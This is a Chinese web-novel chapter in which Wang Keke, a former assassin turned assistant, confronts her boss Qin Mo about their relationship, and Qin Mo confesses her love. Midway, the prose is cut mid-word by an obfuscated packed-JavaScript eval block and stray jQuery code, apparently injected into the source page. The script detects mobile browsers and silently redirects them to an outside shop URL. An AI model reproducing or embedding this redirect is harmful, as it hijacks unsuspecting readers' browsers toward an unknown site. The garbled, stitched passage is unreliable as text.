王可可的新生活,从一张办公桌开始。
那张桌子在秦墨办公室的外间。说“外间”其实不太准确,因为秦墨的办公室实在大得离谱。里面是她办公的地方,一整面落地窗,一张大得能当床睡的书桌,一个摆满文件夹和书籍的墙柜。外间则被隔成了一个很舒服的休息区,有沙发、茶几、饮水机、胶囊咖啡机,还有一台专门用来放水果的小冰箱。王可可的工位就设在这里。一张浅木色的办公桌,配一把坐上去能转三圈的人体工学椅。桌上摆着一盆小小的多肉、一个猫咪形状的陶瓷笔筒、一部只能接内线和转接电话的座机。王可可每天的工作内容如下:早上和秦墨一起来公司,帮她煮一杯咖啡(顺便给自己热一杯牛奶);中午和秦墨一起去楼下的员工餐厅吃饭(秦墨每次都会把菜里的胡萝卜夹到她碗里,因为她爱吃);下午坐在自己的小桌子前,刷刷手机、看看资料、偶尔帮秦墨接几个内线电话。电话来了,她就用非常职业的声音说:“您好,这里是秦总办公室。”然后根据对方是谁,决定是转接还是说“秦总在开会,请稍后”。秦墨经常抬头看她接电话。每次王可可装出一本正经的样子,秦墨的嘴角就会不自觉地弯一下。
这种日子过了一个星期,王可可终于憋不住了。
她开始思考一个很严肃的问题:她和秦墨现在到底是什么关系?说助理吧,哪有助理住在老板家里的?还睡过老板的床,被老板亲过额头,在老板怀里哭得昏天黑地。说阶下囚吧,她的门禁早取消了,手机也还给她了(虽然秦墨时不时还会“借”走一晚上),工资也按“助理经理”的标准开始发了。说朋友吧,更不是。朋友之间不会在半夜发“早点睡”的时候,还要加一个句号。不会因为她和别人吃了顿饭就冲进包间,用那种冷得能冻死人的眼神说“你是不是忘了,你是谁的人”。也不会在她把刀拍在桌上的时候,把她摁进怀里,用袖子擦她的鼻涕和眼泪。王可可越想越乱。她觉得自己像走在一条没有路标的小路上,四周都是雾,只有秦墨站在不远不近的地方,偶尔回头看她一眼,却从不说“跟我走”。
“秦墨,我们现在是什么关系?”王可可终于问了出来。
那是周四的下午。办公室的中央空调吹着恒温的风,落地窗外是灰蓝色的天空,云层很厚,像要下雨。王可可坐在自己的小桌子后面,手里拿着一支笔,有一下没一下地转着。秦墨坐在里面的大办公桌后面,面前摊着一份厚厚的文件,金丝边眼镜架在鼻梁上,整个人像一尊精密的雕塑。王可可看着她,心跳得厉害。她的声音像一颗小石子,投进了这间太过安静的办公室。秦墨的笔尖顿了一下。很轻的一下,像一片叶子落进了水面。
“你觉得呢?”秦墨反问。她没有抬头。她的眼睛还盯着面前的文件,但王可可注意到,她的笔没有再动。
“我觉得……”王可可托着腮,故意拉长了调子,“挺奇怪的。”秦墨还是没抬头。王可可又说:“你说我是你的助理,但哪有助理住在老板家里的?哪有助理每天和老板一起上下班的?哪有助理被老板……那个……”
“哪个?”秦墨的声音稳得像在问她要喝什么。
“就……”王可可的声音忽然小了下去,像被谁抽走了半截底气,“亲额头。”
这三个字说出来后,办公室里的空气像被什么凝住了。王可可甚至听见了窗外有只鸟叫了一声,然后飞走了。秦墨放下了笔。她摘下眼镜,放在文件旁边,然后抬起眼,看向王可可。她的动作很慢,慢得王可可能看清她的每一根手指。秦墨的表情很平静。可王可可看见她的耳尖,悄悄地,红了一点。就一点,像被谁用粉色蜡笔轻轻描了一下。王可可心里“咯噔”一下,像是发现了什么不得了的秘密。她想:秦墨也会脸红。这个冷得跟冰窖成精似的女人,居然也会脸红。这个发现让她又惊又喜,胆子也大了起来。
“所以呢?你想说什么?”秦墨问。她的语气还是淡淡的,但王可可听出了一丝极微弱的紧绷。像一根弦被调到了最高,只差一点就会发出声音。
王可可深吸了一口气。她从椅子上站起来,走到秦墨的办公桌前,隔着那张巨大的桌面,看着秦墨。她的眼睛亮晶晶的,像装了两颗星星。她的手指在桌子边缘轻轻抠着,心跳得像要从喉咙里蹦出来。然后她说:“我想问,你是不是……喜欢我?”
空气彻底安静了。中央空调的风声在这一刻变得格外清晰。王可可觉得自己像站在一个巨大的钟摆下面,等着它左右摇摆,然后指向某个答案。她看见秦墨的睫毛极轻极轻地动了一下。然后秦墨重新戴上眼镜,把目光移回了文件上。她的声音比平时高了一个调,像在刻意强调什么:
“我没有。”
王可可几乎要笑出来。秦墨说“没有”的样子,和那些被抓住早恋的高中生没有半点区别。她梗着脖子,眼睛盯着文件,笔尖停在半空。王可可往前探了探身子,说:“你骗人。”
“我没有。”秦墨又说了一遍,连语调都没变。
“你都不敢看我。”王可可说。她的声音里带了一点点得逞的笑意。秦墨抬起头,看着她,表情毫无波澜,目光直接地、稳稳地落在王可可的眼睛里。
“我在看你。”秦墨说。她的语气里甚至带着一丝挑衅,“所以呢?我没有。”
王可可的脸鼓了起来。她盯着秦墨,像一只铆足了劲的小河豚。然后她使出了杀手锏:“你再说没有,我就不给你泡咖啡了。”
秦墨挑了挑眉,像听见了什么很好笑的话。她的目光从王可可的气鼓鼓的脸,滑到她因为紧张而微微起伏的胸口,再滑回她的眼睛。她慢慢靠进椅背里,声音不高不低,却带着一种说不出的压迫感:“你敢。”
王可可挺了挺胸,两只手叉在腰上,努力让自己看起来有气势一点:“我有什么不敢的?我现在又不是你的阶下囚了!我是你的助理经理!不对,我是王可可!你要是不把话说清楚,我、我今天就不给你泡咖啡了!明天也不泡!后天也不泡!”她说得又急又快,像在背一段憋了很久的台词。秦墨听着听着,嘴角微不可察地弯了弯。她盯着王可可看了十秒。整整十秒。王可可在这十秒里,经历了从气势如虹到逐渐心虚的全过程。她的脚趾在鞋子里蜷了又松,松了又蜷,脸也开始发烫。就在她快要撑不住的时候,秦墨突然笑了一声。那笑声很轻,像春雪从枝头坠下来的声音。她的眼睛弯起来,镜片后面像有碎光在流动。她看着王可可,说:
“是。”
王可可眨了眨眼。她的脑子在那一秒像是断了线,所有的念头都被这个字砸成了哑巴。她张着嘴,呆呆地看着秦墨,像没听清。秦墨又重复了一遍,这次声音更轻,却更清楚:“我喜欢你。”
说完之后,秦墨就低下了头。她重新拿起笔,继续看那份文件,仿佛刚才只是说了一句“今天会下雨”。她的动作依旧从容,但王可可看见她的手指在文件边沿轻轻摩挲了一下。那是一个极不秦墨的小动作。
王可可站在原地,一动不动。她的脸在一点一点地变红。像有谁在她的皮肤下面点了一盏灯,光从她的脸颊、耳朵、脖子,一层一层地透出来。她像一座正在升温的火山,随时可能喷发。终于,她抬起两只手,捂住了自己的脸。她的手指缝里漏出一点气音,像有人在用只有自己听得见的音量尖叫。王可可转过身,背对着秦墨,肩膀在轻轻发抖。她不知道该说什么。她的脑子里像有一万个烟花同时炸开,五颜六色的,吵得她什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920391|213443||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么都听不见了。唯一的念头是:她说喜欢我。秦墨说喜欢我。黑豹说喜欢我。我是来杀她的。她说喜欢我。
王可可在心里疯狂地尖叫,比她在恐怖片里叫得还大声。可她的身体像被钉在了原地,连转回去看秦墨的勇气都没有。她只是捂着滚烫的脸,拼命让自己不要发出更奇怪的声音。过了好一会儿,她终于能开口了。她的声音从指缝里漏出来,又小又抖:“你这个人……怎么这样啊……”秦墨的声音从她身后传来,带着点漫不经心:“怎样。”王可可猛地转过身,瞪着她。她的眼睛湿漉漉的,像被雨洗过。她的脸还红得厉害,鼻尖都泛着粉。她用力地、一字一顿地说:“你、你知不知道,我本来是要杀你的。你、你怎么能……”她说到一半,自己也觉得这话没道理。杀不杀什么的,早就过去了。秦墨还好好活着,而她也终于不再是什么“阶下囚”。可王可可就是想找个由头发脾气。因为她发现,自己高兴得有点不像话。她怕自己一张嘴,就会说出“我也喜欢你”这种比“我是特工”还危险的话来。
秦墨看着她那副又气又笑又快要哭出来的表情,嘴角的笑意更深了一点。她放下笔,对王可可说:“过来。”王可可没动。她站在原地,像一只闹别扭的小动物。秦墨又说了一遍:“过来。”语气已经软了不少。王可可吸了吸鼻子,磨磨蹭蹭地绕过桌子,走到了秦墨身边。秦墨转过椅子,面对着她。王可可就站在她面前。秦墨微微仰起头,看着她。这个角度让王可可突然有了一种奇异的、居高临下的感觉。她看着秦墨的眉、秦墨的眼、秦墨的唇,看着她仰起的脸和那上面少见的、带着点认输的表情。她忽然觉得,这个女人,其实也没那么可怕。至少在说“我喜欢你”的时候,她像极了一个把糖递出来、又害怕被拒绝的孩子。
“你刚才听见了。”秦墨说。她的声音很低,低得几乎要贴在王可可的皮肤上。王可可点了点头。秦墨又说:“那你的回答呢。”
王可可心口一紧。她看着秦墨,嘴唇动了动,却像被黏住了一样。她当然有回答。她有一整个宇宙的回答。可那些回答太重了,重得她不知道从哪一句说起。她想说“我也是”,想说“我早就喜欢你了”,想说“从你后备箱打开那一刻我就觉得你好看得不得了”,想说“你以后不许再跟别人一起吃饭,我也不去”。她想说很多很多。可最后,她只是慢慢地弯下腰,把自己的额头贴在了秦墨的额头上。两人的呼吸交缠在一起,像两团终于汇合的雾。
“我的回答是,”王可可小声说,“你以后每天都能喝到我泡的咖啡了。免费的。不限量。(????ω????)”
秦墨笑了。她抬起手,在王可可的后脑勺上轻轻拍了一下。王可可像被顺了毛的猫,整个人都软了下来,顺势把自己的下巴搁在了秦墨的肩膀上。她闻着秦墨身上那股熟悉的雪松香,觉得自己像掉进了一罐很暖很甜的蜂蜜里。她闭上眼睛,在心里小声地说:“组织,我好像……超额完成任务了。目标人物她说喜欢我。我决定……叛变了。不对,组织已经没了。那我就不算叛变。我这是……解放了。”她想着想着,自己先笑了起来。秦墨偏过头,问她笑什么。王可可把脸往她脖子里一埋,闷闷地说:“不告诉你。”秦墨说:“你不说,我也有办法。”王可可抬头:“什么办法?”秦墨看着她,忽然很轻很轻地,在她鼻尖上亲了一下。王可可像被电击了一样往后一缩,整个人红得几近透明。她捂着自己的鼻子,瞪大眼睛,像一只被偷亲了鼻尖的小猫。秦墨坐回椅子里,重新拿起笔,一脸平静地看文件。王可可站在原地,捂着鼻子,又羞又气,却一个字都说不出来。她忽然觉得,自己这一辈子,可能都要被这个人吃得死死的了。
不过,她甘愿。